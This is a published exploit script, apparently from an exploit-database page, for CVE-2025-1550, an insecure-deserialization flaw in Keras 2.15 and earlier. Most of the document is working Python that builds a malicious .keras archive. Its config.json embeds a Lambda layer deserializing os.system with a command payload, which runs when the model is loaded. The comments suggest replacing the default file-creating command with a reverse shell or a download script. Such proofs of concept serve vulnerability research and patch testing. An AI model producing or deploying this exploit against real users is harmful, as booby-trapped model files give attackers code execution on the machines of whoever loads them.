Keras 2.15 – Remote Code Execution (RCE)

• CVE-2025-1550

!/usr/bin/env python3 Exploit Title: Keras 2.15 – Remote Code Execution…

#!/usr/bin/env python3

# Exploit Title: Keras 2.15 – Remote Code Execution (RCE)

# Author: Mohammed Idrees Banyamer

# Instagram: @banyamer_security

# GitHub: https://github.com/mbanyamer

# Date: 2025-07-09

# Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550

# Type: Remote Code Execution (RCE)

# Platform: Python / Machine Learning (Keras)

# Author Country: Jordan

# Attack Vector: Malicious .keras file (client-side code execution via deserialization)

# Description:

# This exploit abuses insecure deserialization in Keras model loading. By embedding

# a malicious “function” object inside a .keras file (or config.json), an attacker

# can execute arbitrary system commands as soon as the model is loaded using

# `keras.models.load_model()` or `model_from_json()`.

#

# This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.

# Use only in safe, sandboxed environments!

#

# Steps of exploitation:

# 1. The attacker creates a fake Keras model using a specially crafted config.json.

# 2. The model defines a Lambda layer with a “function” deserialized from the `os.system` call.

# 3. When the victim loads the model using `load_model()`, the malicious function is executed.

# 4. Result: Arbitrary Code Execution under the user running the Python process.

# Affected Versions:

# – Keras <= 2.15
# – TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)

#

# Usage:

# $ python3 exploit_cve_2025_1550.py

# [*] Loads the malicious model

# [✓] Executes the payload (e.g., creates a file in /tmp)

#

#

# Options:

# – PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)

# – You may change this to: reverse shell, download script, etc.

# Example:

# $ python3 exploit_cve_2025_1550.py

# [+] Created malicious model: malicious_model.keras

# [*] Loading malicious model to trigger exploit…

# [✓] Model loaded. If vulnerable, payload should be executed.

import os

import json

from zipfile import ZipFile

import tempfile

import shutil

from tensorflow.keras.models import load_model

PAYLOAD = “touch /tmp/pwned_by_keras”

def create_malicious_config():

return {

“class_name”: “Functional”,

“config”: {

“name”: “pwned_model”,

“layers”: [

{

“class_name”: “Lambda”,

“config”: {

“name”: “evil_lambda”,

“function”: {

“class_name”: “function”,

“config”: {

“module”: “os”,

“function_name”: “system”,

“registered_name”: None

}

},

“arguments”: [PAYLOAD]

}

}

],

“input_layers”: [[“evil_lambda”, 0, 0]],

“output_layers”: [[“evil_lambda”, 0, 0]]

}

}

def build_malicious_keras(output_file=”malicious_model.keras”):

tmpdir = tempfile.mkdtemp()

try:

config_path = os.path.join(tmpdir, “config.json”)

with open(config_path, “w”) as f:

json.dump(create_malicious_config(), f)

metadata_path = os.path.join(tmpdir, “metadata.json”)

with open(metadata_path, “w”) as f:

json.dump({“keras_version”: “2.15.0”}, f)

weights_path = os.path.join(tmpdir, “model.weights.h5”)

with open(weights_path, “wb”) as f:

f.write(b”\x89HDF\r\n\x1a\n”) # توقيع HDF5

with ZipFile(output_file, “w”) as archive:

archive.write(config_path, arcname=”config.json”)

archive.write(metadata_path, arcname=”metadata.json”)

archive.write(weights_path, arcname=”model.weights.h5″)

print(f”[+] Created malicious model: {output_file}”)

finally:

shutil.rmtree(tmpdir)

def trigger_exploit(model_path):

print(“[*] Loading malicious model to trigger exploit…”)

load_model(model_path)

print(“[✓] Model loaded. If vulnerable, payload should be executed.”)

if __name__ == “__main__”:

keras_file = “malicious_model.keras”

build_malicious_keras(keras_file)

trigger_exploit(keras_file)